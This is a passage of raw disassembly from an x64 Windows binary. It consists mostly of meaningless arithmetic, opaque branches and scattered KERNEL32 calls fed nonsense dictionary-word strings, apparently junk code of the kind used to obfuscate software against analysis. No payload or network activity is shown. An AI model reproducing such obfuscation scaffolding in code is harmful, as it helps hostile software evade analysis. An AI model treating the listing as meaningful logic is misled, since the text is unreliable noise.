movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
sub eax, ecx
mov byte [0x140199008], al
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3b0]
mov qword [rsp + 0xa438], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [0x140199008]
add eax, ecx
mov byte [rsp + 0x14a], al
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ffc]
shl eax, cl
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
sar eax, cl
mov dword [rsp + 0x3fc0], eax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x14c]
xor eax, ecx
mov byte [rsp + 0x14a], al
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
and eax, ecx
mov byte [0x140199008], al
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x400c], eax
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [0x14019d790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fec]
sub eax, 3
mov dword [rsp + 0x3fec], eax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3ffc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
jmp 0x14000dd86
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shl eax, cl
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ffc]
shr eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xea8], ax
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [0x140199008], al
mov eax, dword [rsp + 0x400c]
mov ecx, dword [0x14019d790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x4000]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xc48]
and eax, ecx
mov word [rsp + 0xeac], ax
mov eax, dword [rsp + 0x3fc4]
add eax, 0xad
mov dword [rsp + 0x3fc4], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea0]
or eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
sar eax, cl
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
cmp dword [rsp + 0x3fc4], 0xc824
jbe 0x14000e2db
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14b]
shl eax, cl
mov byte [rsp + 0x14c], al
mov rax, qword [rsp + 0xa428]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d790], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov eax, dword [rsp + 0x3fb8]
add eax, 0x8c
mov dword [rsp + 0x3fb8], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d790], eax
cmp dword [rsp + 0x3fb8], 0x8efc
jbe 0x14000e4c3
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [0x14019d790]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3fc0]
mov edx, dword [rsp + 0x3f98]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000e6e8
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x3ffc]
mov rdx, qword [rsp + 0xa3a8]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000e6c8
mov eax, dword [0x14019d790]
mov ecx, dword [rsp + 0x400c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov r8d, dword [rsp + 0x3ffc]
mov rax, qword [rsp + 0xa3b0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
call fcn.140176420
nop
jmp 0x14000e6e8
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov dword [rsp + 0x4020], 0x4fda
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xa440], rax
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x4024], eax
cmp dword [rsp + 0x4024], 0xffffd6fd
je 0x14000e735
cmp dword [rsp + 0x4024], 0x5c42
je 0x14000e8c4
jmp 0x14000e8dd
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x14d], al
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3fdc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000e8c2
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3fac]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000e85e
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa428]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x4000]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
lea rax, [rsp + 0xea8]
mov qword [rsp + 0xa448], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3b8]
mov qword [rsp + 0xa450], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa450]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019bee8], eax
mov eax, dword [rsp + 0x3ffc]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xa458], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa458]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4018], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xa460], rax
jmp 0x14000e8c2
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov edx, dword [rsp + 0x3fc0]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14000e8c2
lea rax, [rsp + 0x3ffc]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4028]
mov r8d, 0xd9
lea rdx, [rsp + 0x14a]
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov dword [rsp + 0x3fcc], eax
jmp 0x14000e8dd
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3fc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x402c], eax
cmp dword [rsp + 0x402c], 0
je 0x14000e90e
cmp dword [rsp + 0x402c], 0xe850f22
je 0x14000e9c3
jmp 0x14000eb57
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov rdx, qword [rsp + 0xa460]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14000e97c
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov r8d, dword [rsp + 0x4018]
mov rax, qword [rsp + 0xa3b0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4000]
call fcn.140176420
nop
jmp 0x14000e9be
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
movsx ecx, byte [rsp + 0x14b]
movsx edx, byte [rsp + 0x14d]
sub ecx, edx
cmp eax, ecx
jle 0x14000e9be
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov word [rsp + 0xd48], ax
jmp 0x14000eb57
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xea8]
movzx edx, word [rsp + 0xea4]
sub ecx, edx
cmp eax, ecx
jl 0x14000eb3b
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea0]
or eax, ecx
mov rcx, qword [rsp + 0xa380]
mov word [rcx], ax
lea rax, [rsp + 0xa440]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, str.rayed_Touchandgo_Horticultural_Prayerbook
mov edx, 0x8c
mov ecx, 0x54
call qword [sym.imp.KERNEL32.dll_GetStringTypeExA]
mov dword [rsp + 0x3fcc], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov dword [rsp + 0x4030], eax
cmp dword [rsp + 0x4030], 0x665
je 0x14000eac2
cmp dword [rsp + 0x4030], 0xb71
je 0x14000ea74
jmp 0x14000eb39
mov rax, qword [rsp + 0xa3b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa468], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa468]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x400c], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x3f98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
jmp 0x14000eb39
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0x14b]
and eax, ecx
mov byte [0x140199008], al
mov dword [rsp + 0x28], 0x31
lea rax, [rsp + 0x14d]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x14b]
lea r8, [rsp + 0xa340]
lea rdx, str.C:BiblicallyMotetFoolhardilyQuadranglesFarrago
lea rcx, str.C:BetrayalsClosetedImpedingSwaggeredcarnivorous
call qword [sym.imp.KERNEL32.dll_CopyFileExA]
mov dword [rsp + 0x3fa8], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
jmp 0x14000eb57
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov dword [rsp + 0x4034], eax
cmp dword [rsp + 0x4034], 0xe10
je 0x14000ec48
cmp dword [rsp + 0x4034], 0xe62
je 0x14000eb8c
jmp 0x14000ed65
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x4038], eax
cmp dword [rsp + 0x4038], 0x5785
je 0x14000ec0b
cmp dword [rsp + 0x4038], 0x6666
je 0x14000ebbd
jmp 0x14000ec43
lea rax, [rsp + 0x4018]
mov qword [rsp + 0x20], rax
mov r9d, 0xd2
mov r8d, 0xd3
mov edx, 0x2c
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x403c], eax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov byte [rsp + 0x14b], al
jmp 0x14000ec43
mov dword [rsp + 0x28], 8
lea rax, str.Ideologists_gingivitis_Redoubled_Redistributing_Privation
mov qword [rsp + 0x20], rax
mov r9d, 0x1e
lea r8, str.combustible_massively_Scatterings
mov edx, 0xd9
mov ecx, 0x82
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [rsp + 0x4000], eax
jmp 0x14000ed65
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
and eax, ecx
movsx ecx, word [rsp + 0xd48]
movsx edx, word [rsp + 0xc48]
add ecx, edx
cmp eax, ecx
jge 0x14000ed50
lea rcx, str.C:KleptomaniacsNumerological
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x4018], eax
movzx eax, word [rsp + 0xea8]
mov dword [rsp + 0x4040], eax
cmp dword [rsp + 0x4040], 0x826
je 0x14000ed2e
cmp dword [rsp + 0x4040], 0x82d
je 0x14000ecf0
jmp 0x14000ed4e
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
or eax, ecx
mov word [rsp + 0xea0], ax
mov r8d, dword [rsp + 0x3ffc]
mov rax, qword [rsp + 0xa360]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x3f98]
call fcn.140176420
nop
jmp 0x14000ed4e
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shl eax, cl
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
jmp 0x14000ed65
mov rcx, qword [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_FindVolumeClose]
mov dword [rsp + 0x3f8c], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x4044], eax
cmp dword [rsp + 0x4044], 0
je 0x14000ed96
cmp dword [rsp + 0x4044], 0xafae7a9
je 0x140174ccf
jmp 0x140174d00
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x4048], eax
cmp dword [rsp + 0x4048], 0xffffd6fd
je 0x14000edc8
cmp dword [rsp + 0x4048], 0x5896
je 0x140174b08
jmp 0x140174bbf
cmp dword [rsp + 0x401c], 0x966c
je 0x14000f1aa
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov dword [0x14019bee8], eax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [rsp + 0x14a], al
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa428]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3f98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bee8]
sar eax, cl
mov dword [0x14019d790], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea0]
shl eax, cl
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x3ffc]
mov ecx, dword [rsp + 0x3fac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4018], eax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x14b]
sub eax, ecx
mov byte [rsp + 0x14c], al
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa3a8]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fac], eax
mov eax, dword [rsp + 0x401c]
add eax, 0xfe
mov dword [rsp + 0x401c], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa460]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa3a8]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x3fac]
movzx ecx, al
mov eax, dword [rsp + 0x3ffc]
shl eax, cl
mov dword [rsp + 0x4018], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov eax, dword [rsp + 0x4000]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa478], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa478]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
and eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4018]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa360]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fdc], eax
jmp 0x14000edc8
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
mov dword [rsp + 0x404c], eax
cmp dword [rsp + 0x404c], 0x1b6e
je 0x14000f1e8
jmp 0x14000f255
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x400c], eax
mov rcx, qword [rsp + 0xa470]
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov byte [rsp + 0x14b], al
jmp 0x14000f330
movsx eax, word [rsp + 0xeac]
mov dword [rsp + 0x4050], eax
cmp dword [rsp + 0x4050], 0x28c0
je 0x14000f287
cmp dword [rsp + 0x4050], 0x76ae
je 0x14000f306
jmp 0x14000f330
movsx eax, word [rsp + 0xc48]
mov dword [rsp + 0x4054], eax
cmp dword [rsp + 0x4054], 0x127b
je 0x14000f2a5
jmp 0x14000f2e4
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rsp + 0x4058], eax
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xd48], ax
movzx ecx, word [rsp + 0xea8]
call fcn.1401751a0
nop
jmp 0x14000f304
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
or eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
jmp 0x14000f330
lea r9, [rsp + 0x3fc0]
mov r8d, 0x9e
lea rdx, [rsp + 0x3f98]
mov rcx, qword [rsp + 0xa470]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
xor eax, ecx
mov word [rsp + 0xea0], ax
mov eax, dword [rsp + 0x4000]
mov dword [rsp + 0x405c], eax
cmp dword [rsp + 0x405c], 0
je 0x14000f37b
cmp dword [rsp + 0x405c], 0x74bb55e9
je 0x140174a06
jmp 0x140174a3e
movsx eax, word [rsp + 0xeac]
